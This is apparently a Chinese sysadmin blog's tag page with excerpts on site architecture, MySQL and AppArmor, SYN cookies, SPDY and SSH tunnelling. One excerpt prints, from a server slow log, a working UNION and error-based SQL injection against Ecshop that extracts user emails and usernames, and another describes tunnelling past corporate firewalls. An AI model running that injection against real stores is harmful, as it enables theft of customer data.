Posts Tagged 网络和安全
开源小站的基础结构
之前有朋友问过开源小站的架构是怎样的,我回答道:“标准的wordpress,稍微做了一些调整。”时隔一段时期,几经搬迁,这次重新整理了一下开源小站的结构,就当分享罢了。
“开源小站”最初是基于drupal构建,基础数据库是postgresql。后来由于drupal的性能问题以及框死了的postgresql,只能整体迁移到了wordpress+mysql。当然迁移好之后,考虑到drupal和wordpress的链接地址的不同,修改了wordpress的部分代码,让之前的外链不至于失效。后来索性就通过apache的mod_rewrite模块添加了301跳转,wordpress的版本也可以随着“持续演进”了。
运维的CAP原则
小站上的 文章大多以实际操作为主,这次就介绍点理论吧。
曾经跟几个同行聊起了数据库这边的容错方案,有朋友发过类似的牢骚:“网站(或者数据库)做了负载均衡,可用性提高了,单点故障也不怕了,但数据的同步总是慢半拍,无法适用某些应用。如果要求完全解决一一致性的麻烦,就只能到回去。”
Ecshop的问题
在看一台服务器的SQL-Slow日志,看到了如下的一纪录,惊出了一身冷汗!
SELECT pg.package_id, pg.goods_id, pg.goods_number,
pg.admin_id, g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real,
IFNULL(mp.user_price, g.shop_price * '1') AS rank_price
FROM `ecs_`.`ecs_package_goods` AS pg
LEFT JOIN `ecs_venusveil`.`ecs_goods` AS g ON g.goods_id = pg.goods_id
LEFT JOIN `ecs_venusveil`.`ecs_member_price` AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0'
WHERE pg.package_id = -1
union all
select 1,2,3,4,5,6,7,8,count(*),concat(
(Select concat(0x5b,email,0x3a,user_name,0x5d)
FROM ecs_users
LIMIT 9456,1), floor(rand(0)*2))x
from information_schema.tables
group by x
ORDER BY pg.package_id, pg.goods_id;
高负载的Lamp架构
google的下一代web协议spdy
之前听过Stanely发过一个牢骚:说在公司局域网内使用Chrome,很快收到了网管寄出的Email,大致上是通知他换用其他的浏览器,然后说了一堆Chrome种种的不好、不安全之类的言论。更让他郁闷的是邮件的收件人只是几个Chrome的用户,没有针对其他人,为什么能准确的辨别出谁使用了Chrome?
我想,排除了其他因素,诸如网管可能有远程监视硬盘之类的技术,仅仅通过公司企业的前端路由——估计他们这种规模的企业,一定有深包分析之类的高级设备,完全可以清除的知道谁在使用Chrome,原因就是因为Chrome正在测试google下一代的web协议spdy。
Ubuntu的AppArmor引发的Mysql问题
这些天一台ubuntu server的mysql数据目录/var/lib/mysql所在分区快用光了,于是想把Mysql的数据目录移到一个相对空闲的分区下,直接修改了my.cnf中的配置,系统提示无法启动Mysql。又自做聪明的使用了链接文件访问,仍然无效。完全排除了所有linux文件系统权限的可能之后,我回忆起了之前在Redhat系操作系统上发生过的SeLinux导致的类似问题。看了一下官档,果然!Ubuntu在710之后,增加了一个类似于Selinux的权限控制服务叫做AppArmor,名字就很有意思:应用铠甲,让我想起了Diablo2中的暗金⋯⋯
SYN-ACK-ACK攻击和SYN COOKIE
没事在看Juniper Netscreen的警报日志,看到有一条SYN-ACK-ACK记录。
正常情况下TCP/IP协议中SYN握手大致上如此:
- A(发起者)发送一个SYN给B(接收者)
- B回复SYN-ACK给A
- A回复ACK给B
- 连接成功!
这个过程的缺陷是,如果A是有恶意的来源,始终不停的发送SYN给B,那么B就会不停的建立起空连接(未完成的连接)等待A的ACK响应,只要A不回应,B的空连接就会不断的消耗资源,直至无法响应。
从GAE看网站架构趋势
在Google App Engine做了几个东西。从当初觉得这个平台的迥然不同,直到现在逐步了解了这个平台的逻辑架构。作为Google的一款成功的作品,相信GAE的很多东西将会陆陆续续被模仿和抄袭,直到真正影响到我们。本文就以我个人的理解,谈谈GAE将会给今后的网站架构带来哪些革命性的东西。
首当其冲的应该算是云技术,但这个技术总体上属于物理层的技术,况且云已经成为公认的技术趋势。这里主要是谈下网站的架构,云技术相对关系较为偏离,我也就不再探讨了。
FreeBSD ZFS版本升级的问题
FreeBSD 8.1比较吸引我的一个重要更新就是将ZFS从测试模块升级到了正式模块。这意味着Zfs已经足够的成熟和稳定了。
闲话不说,我这台主机是用zfs来做nfs服务器。刚升级到了FreeBSD 8.1 stable的版本。
用SSH Tunnel穿越防火墙
这次接上篇。
很多企业对互联网的访问进行了限制,如何突破防火墙的限制成了一个问题。本文就是利用了SSH tunnel搭建了socket5代理。
首先,申请一个外网的ssh帐户,个人建议使用http://www.unix-center.net/提供的免费资源,该网站还提供多种平台主机可供测试之用,非常不错!当然,如果可以使用密钥方式登录那就完美了。

近期评论